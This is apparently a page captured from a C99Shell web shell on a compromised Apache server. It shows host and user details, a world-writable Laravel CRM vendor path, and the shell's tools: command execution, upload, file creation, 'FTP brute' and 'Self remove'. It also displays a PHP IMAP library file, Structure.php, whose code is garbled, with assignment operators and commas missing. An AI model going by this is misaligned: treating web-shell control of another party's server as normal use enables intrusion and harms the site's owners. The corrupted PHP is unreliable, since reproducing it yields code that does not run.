!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/src/   drwxrwxrwx
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Structure.php (4.03 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File: Structure.php
* Category: -
* Author: M.Goldenbaum
* Created: 17.09.20 20:38
* Updated: -
*
* Description:
*  -
*/

namespace Webklex\PHPIMAP;


use 
Webklex\PHPIMAP\Exceptions\InvalidMessageDateException;
use 
Webklex\PHPIMAP\Exceptions\MessageContentFetchingException;

/**
 * Class Structure
 *
 * @package Webklex\PHPIMAP
 */
class Structure {

    
/**
     * Raw structure
     *
     * @var string $raw
     */
    
public string $raw "";

    
/**
     * @var Header $header
     */
    
private Header $header;

    
/**
     * Message type (if multipart or not)
     *
     * @var int $type
     */
    
public int $type IMAP::MESSAGE_TYPE_TEXT;

    
/**
     * All available parts
     *
     * @var Part[] $parts
     */
    
public array $parts = [];

    
/**
     * Config holder
     *
     * @var array $config
     */
    
protected array $config = [];

    
/**
     * Structure constructor.
     * @param $raw_structure
     * @param Header $header
     *
     * @throws MessageContentFetchingException
     * @throws InvalidMessageDateException
     */
    
public function __construct($raw_structureHeader $header) {
        
$this->raw $raw_structure;
        
$this->header $header;
        
$this->config ClientManager::get('options');
        
$this->parse();
    }

    
/**
     * Parse the given raw structure
     *
     * @throws MessageContentFetchingException
     * @throws InvalidMessageDateException
     */
    
protected function parse(): void {
        
$this->findContentType();
        
$this->parts $this->find_parts();
    }

    
/**
     * Determine the message content type
     */
    
public function findContentType(): void {
        
$content_type $this->header->get("content_type")->first();
        if(
$content_type && stripos($content_type'multipart') === 0) {
            
$this->type IMAP::MESSAGE_TYPE_MULTIPART;
        }else{
            
$this->type IMAP::MESSAGE_TYPE_TEXT;
        }
    }

    
/**
     * Find all available headers and return the leftover body segment
     * @var string $context
     * @var integer $part_number
     *
     * @return Part[]
     * @throws InvalidMessageDateException
     */
    
private function parsePart(string $contextint $part_number 0): array {
        
$body $context;
        while ((
$pos strpos($body"\r\n")) > 0) {
            
$body substr($body$pos 2);
        }
        
$headers substr($context0strlen($body) * -1);
        
$body substr($body0, -2);

        
$headers = new Header($headers);
        if ((
$boundary $headers->getBoundary()) !== null) {
            return 
$this->detectParts($boundary$body$part_number);
        }

        return [new 
Part($body$headers$part_number)];
    }

    
/**
     * @param string $boundary
     * @param string $context
     * @param int $part_number
     *
     * @return array
     * @throws InvalidMessageDateException
     */
    
private function detectParts(string $boundarystring $contextint $part_number 0): array {
        
$base_parts explode$boundary$context);
        
$final_parts = [];
        foreach(
$base_parts as $ctx) {
            
$ctx substr($ctx2);
            if (
$ctx !== "--" && $ctx != "" && $ctx != "\r\n") {
                
$parts $this->parsePart($ctx$part_number);
                foreach (
$parts as $part) {
                    
$final_parts[] = $part;
                    
$part_number $part->part_number;
                }
                
$part_number++;
            }
        }
        return 
$final_parts;
    }

    
/**
     * Find all available parts
     *
     * @return array
     * @throws MessageContentFetchingException
     * @throws InvalidMessageDateException
     */
    
public function find_parts(): array {
        if(
$this->type === IMAP::MESSAGE_TYPE_MULTIPART) {
            if ((
$boundary $this->header->getBoundary()) === null)  {
                throw new 
MessageContentFetchingException("no content found"0);
            }

            return 
$this->detectParts($boundary$this->raw);
        }

        return [new 
Part($this->raw$this->header)];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0096 ]--